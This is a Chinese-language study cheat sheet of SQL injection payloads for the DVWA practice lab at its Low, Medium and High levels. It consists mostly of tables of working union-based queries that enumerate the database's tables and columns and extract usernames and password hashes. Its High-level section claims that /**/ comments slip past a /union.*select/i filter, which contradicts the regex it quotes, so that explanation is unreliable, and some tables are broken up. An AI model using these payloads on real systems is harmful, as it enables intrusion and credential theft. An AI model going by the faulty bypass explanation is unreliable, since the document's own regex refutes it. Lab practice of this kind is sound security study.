

DVWA SQL注入 低/中/高 级别Payload复习手册

仅用于 DVWA 本地授权靶场学习，严禁用于非授权测试

◆ Low 级别（无任何过滤，基础注入）

防护特点

后端完全无过滤，用户输入直接拼接到 SQL 语句，最基础的字符型注入，无任何防护。

完整复习 Payload

操作	Payload	说明
验证漏洞存在	<code>1'</code>	提交后触发 SQL 语法报错，证明单引号可闭合 SQL 语句
验证注入点可控	真条件: <code>1' and 1=1 #</code> 假条件: <code>1' and 1=2 #</code>	真条件正常返回数据，假条件无数据，证明注入点可控
判断字段数	<code>1' order by 2 #</code> <code>1' order by 3 #</code>	2 列正常，3 列报错，证明后端查询仅返回 2 列
确认回显位置	<code>-1' union select 1,2 #</code>	用 - 1 让前半段查询无结果，仅显示 union 的回显
查数据库名 + 版本	<code>-1' union select database(),version() #</code>	获取当前库名（固定为 dvwa）和 MySQL 版本
查所有表名	<code>-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #</code>	拿到所有表，核心是 <code>users</code> 表
查 users 表字段	<code>-1' union select 1,group_concat(column_name) from information_schema.col</code>	拿到字段，核心是 <code>user</code> 和 <code>password</code>

	<pre> umns where table_name='users' # </pre>	
脱取管理员账号密码	<pre> -1' union select user,password from users # </pre>	拿到所有用户的用户名和密码 MD5 哈希

◆ Medium 级别（基础转义防护）

防护特点

1. 后端用 `mysqli_real_escape_string` 转义了单引号
2. 提交方式改为 POST，SQL 语句中 ID 为数字型，无需单引号闭合
3. 无关键词过滤，仅做了基础的特殊字符转义

完整复习 Payload

注意：这个级别不需要单引号闭合，直接输入即可，所有 Payload 去掉单引号

| 操作 | Payload | 说明 |

|-----|-----|-----|

| 验证漏洞存在 | `1 and 1=1`

| `1 and 1=2` | 无需单引号，直接拼接 SQL |

| 判断字段数 | `1 order by 2`

| `1 order by 3` | 同样是 2 列有效 |

| 确认回显位置 | `-1 union select 1,2` | 无单引号，直接联合查询 |

| 查数据库名 + 版本 | `-1 union select database(),version()` ||

| 查所有表名 | `-1 union select 1,group_concat(table_name) from`

`information_schema.tables where table_schema=database()` ||

| 查 users 表字段 | `-1 union select 1,group_concat(column_name) from`

`information_schema.columns where table_name=0x7573657273` | 这里把 `users` 转成十六进制 `0x7573657273`，绕过单引号转义 |

| 脱取管理员账号密码 | `-1 union select user,password from users` ||

◆ High 级别（正则关键词过滤）

防护特点

1. 加了正则 `/union.*select/i`，专门拦截 `union select` 连在一起的注入语句
2. 输入和回显拆成两个页面，弹窗提交输入，主页面显示结果

3. 后端 SQL 加了 `LIMIT 1`，用注释符 `#` 可以注释掉
4. 可以用注释 `/**/` 替换空格，绕过正则的关键词检测

完整复习 Payload

注意：所有 Payload 都要在弹窗的输入框提交，用 `/**/` 替换空格，绕过正则

| 操作 | Payload | 说明 |

|-----|-----|-----|

| 验证漏洞存在 | `1'` | 同样是字符型注入，单引号可闭合 |

| 验证注入点可控 | 真条件: `1' and 1=1 #`

假条件: `1' and 1=2 # ||`

| 判断字段数 | `1' order by 2 #`

`1' order by 3 #` | 还是 2 列 |

| 确认回显位置 | `-1'/**/union/**/select/**/1,2 #` | 用 `/**/` 把 `union` 和 `select` 分开，骗过正则，同时 MySQL 会把注释当空格执行 |

| 查数据库名 + 版本 | `-1'/**/union/**/select/**/database(),version() # ||`

| 查所有表名 | `-1'/**/union/**/select/**/1,group_concat(table_name) from information_schema.tables where table_schema=database() # ||`

| 查 users 表字段 | `-1'/**/union/**/select/**/1,group_concat(column_name) from information_schema.columns where table_name='users' # ||`

| 脱取管理员账号密码 | `-1'/**/union/**/select/**/user,password from users #`

||

◆ Impossible 级别说明

这个级别没有注入 Payload，后端用了 PDO 预编译语句，SQL 语句和用户输入彻底分离，无论输入什么都只会当成普通数据，不存在 SQL 注入漏洞，是 SQL 注入的终极防御方案。

(注：文档部分内容可能由 AI 生成)